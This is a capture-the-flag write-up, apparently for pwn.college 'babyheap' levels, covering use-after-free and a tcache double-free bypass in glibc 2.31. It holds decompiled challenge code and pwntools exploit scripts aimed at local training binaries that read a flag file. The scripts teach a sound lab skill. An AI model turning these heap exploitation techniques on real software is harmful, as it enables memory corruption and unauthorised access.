# Level1 ## 1.0 ![image](https://hackmd.io/_uploads/rJuPOuoQR.png) - The challenge give me distinct options. - As you see, the program call malloc(607) to read and save flag. - So, I exploit a use-after-free vulnerability to get the flag. ![image](https://hackmd.io/_uploads/rJ0JF_sX0.png) - After free allocations[0], this move to tcache(***LIFO lists***). - So in the next call malloc with the same size, this chunk will reused. - If I malloc(607), afterwards free it, and the next malloc in read_flag call malloc(607) will get this free chunk. - Now pointer points to flag, so I only puts to read it. ## 1.1 It is similar to level 1.0. However, I need to debug to find the size of malloc() when I read_flag. ![image](https://hackmd.io/_uploads/B1vZsOimA.png) ![image](https://hackmd.io/_uploads/HkHGjdiXC.png) **The size:** 0x175. # Level 2 ## 2.0 It is similar to level 1. ## 2.1 - It is a special challenge compared to the previous challenge because I can't debug the program. ![image](https://hackmd.io/_uploads/HyHbPOoXA.png) - Thus, I use IDA to know how the size of malloc() to read_flag. ```c= int __fastcall main(int argc, const char **argv, const char **envp) { int v3; // ecx int i; // [rsp+2Ch] [rbp-B4h] unsigned int size; // [rsp+34h] [rbp-ACh] void *size_4; // [rsp+38h] [rbp-A8h] size_t v8; // [rsp+40h] [rbp-A0h] void *ptr; // [rsp+48h] [rbp-98h] char s1[136]; // [rsp+50h] [rbp-90h] BYREF unsigned __int64 v11; // [rsp+D8h] [rbp-8h] v11 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 1uLL); puts("###"); printf("### Welcome to %s!\n", *argv); puts("###"); putchar(10); ptr = 0LL; v8 = rand() % 872 + 128; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts(byte_204E); printf("[*] Function (malloc/free/puts/read_flag/quit): "); __isoc99_scanf("%127s", s1); puts(byte_204E); if ( strcmp(s1, "malloc") ) break; printf("Size: "); __isoc99_scanf("%127s", s1); puts(byte_204E); size = atoi(s1); ptr = malloc(size); printf("[*] allocations[%d] = %p\n", 0LL, ptr); } if ( strcmp(s1, "free") ) break; free(ptr); } if ( strcmp(s1, "puts") ) break; printf("Data: "); puts((const char *)ptr); } if ( strcmp(s1, "read_flag") ) break; for ( i = 0; i <= 0; ++i ) { size_4 = malloc(v8); printf("[*] flag_buffer = %p\n", size_4); } v3 = open("/flag", 0); read(v3, size_4, 0x80uLL); } if ( strcmp(s1, "quit") ) puts("Unrecognized choice!"); puts("### Goodbye!"); return 0; } ``` As you see, `v8 = rand() % 872 + 128`, malloc size is random from 128 to 1000. Thereforce, we should brute-force it. ```python= from pwn import * context.log_level = 'debug' r = process('/challenge/babyheap_level2.1') for i in range(128, 1000): r.sendlineafter(b'[*] Function (malloc/free/puts/read_flag/quit): ', b'malloc') r.sendlineafter(b'Size: ', str(i).encode()) r.sendlineafter(b'[*] Function (malloc/free/puts/read_flag/quit): ', b'free') r.sendlineafter(b'[*] Function (malloc/free/puts/read_flag/quit): ', b'read_flag') r.sendlineafter(b'[*] Function (malloc/free/puts/read_flag/quit): ', b'puts') r.recvuntil(b'Data: ') res = r.recvline() if b'pwn.college{' in res: log.info(res) exit(0) r.interactive() ``` # Level 3 ## 3.0 ![image](https://hackmd.io/_uploads/ryu80_oQC.png) - It gives me two times malloc to read_flag. - I do it several times and concluded that flag is store the second chunk. - Do it similar to level 1. ![image](https://hackmd.io/_uploads/H1jZlYjX0.png) ## 3.1 - I need to use IDA to find the size of malloc() when read_flag. ```c= int __fastcall main(int argc, const char **argv, const char **envp) { int v3; // ecx int i; // [rsp+24h] [rbp-12Ch] unsigned int v6; // [rsp+28h] [rbp-128h] unsigned int v7; // [rsp+28h] [rbp-128h] unsigned int v8; // [rsp+28h] [rbp-128h] unsigned int size; // [rsp+2Ch] [rbp-124h] void *size_4; // [rsp+30h] [rbp-120h] void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF char s1[136]; // [rsp+C0h] [rbp-90h] BYREF unsigned __int64 v13; // [rsp+148h] [rbp-8h] v13 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 1uLL); puts("###"); printf("### Welcome to %s!\n", *argv); puts("###"); putchar(10); memset(ptr, 0, sizeof(ptr)); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts(byte_2020); printf("[*] Function (malloc/free/puts/read_flag/quit): "); __isoc99_scanf("%127s", s1); puts(byte_2020); if ( strcmp(s1, "malloc") ) break; printf("Index: "); __isoc99_scanf("%127s", s1); puts(byte_2020); v6 = atoi(s1); if ( v6 > 0xF ) __assert_fail("allocation_index < 16", "<stdin>", 0x3Cu, "main"); printf("Size: "); __isoc99_scanf("%127s", s1); puts(byte_2020); size = atoi(s1); ptr[v6] = malloc(size); } if ( strcmp(s1, "free") ) break; printf("Index: "); __isoc99_scanf("%127s", s1); puts(byte_2020); v7 = atoi(s1); if ( v7 > 0xF ) __assert_fail("allocation_index < 16", "<stdin>", 0x4Cu, "main"); free(ptr[v7]); } if ( strcmp(s1, "puts") ) break; printf("Index: "); __isoc99_scanf("%127s", s1); puts(byte_2020); v8 = atoi(s1); if ( v8 > 0xF ) __assert_fail("allocation_index < 16", "<stdin>", 0x58u, "main"); printf("Data: "); puts((const char *)ptr[v8]); } if ( strcmp(s1, "read_flag") ) break; for ( i = 0; i <= 1; ++i ) size_4 = malloc(0x221uLL); v3 = open("/flag", 0); read(v3, size_4, 0x80uLL); } if ( strcmp(s1, "quit") ) puts("Unrecognized choice!"); puts("### Goodbye!"); return 0; } ``` - The size: **0x221** - The work are the same as the previous challenge. # Level 4 ## 4.0 ![image](https://hackmd.io/_uploads/BJNytsoQR.png) - As you see, read_flag call malloc(573) two times to read flag, and the second call stores flag. - I only have one input once time. - However, the challenge give me new option: ***scanf*** - ![image](https://hackmd.io/_uploads/SJ54FosmR.png) - My input from scanf() goes into this chunk. **From the expert in pwncollge** | next_ptr | tcache_perthread_struct ptr | | -------- | -------- | > Recall that the free'd chunk (on the earlier levels) looks like > ***The way that TCACHE checks if a pointer has been freed before is it looks at the "key" value.*** This is the 8 bytes after the next pointer. These earlier challenges use libc 2.31, where those 8 bytes are a pointer to the tcache_prethread_struct. > > > I'm willing to bet that you wrote at least 9 bytes in level 4. 8 bytes to overwrite the next pointer, than at least 1 more to overwrite part of the tcache_perthread_struct pointer. Overwriting this second value will allow you to perform a double free for tcache entries. > > Here's a link to the check (on libc 2.31) source that detects double free. > https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4193 > > Here you can see that the value being compared is the tcache_perthread_struct pointer. > https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L2913 ![image](https://hackmd.io/_uploads/BJTu9ojQC.png) ```python= from pwn import * context.log_level = 'debug' r = process('/challenge/babyheap_level4.0') r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'malloc') r.sendlineafter(b'Size: ', b'573') r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'free') r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'scanf') r.sendline(b'a'*8) r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'free') r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'read_flag') r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'puts') r.interactive() ```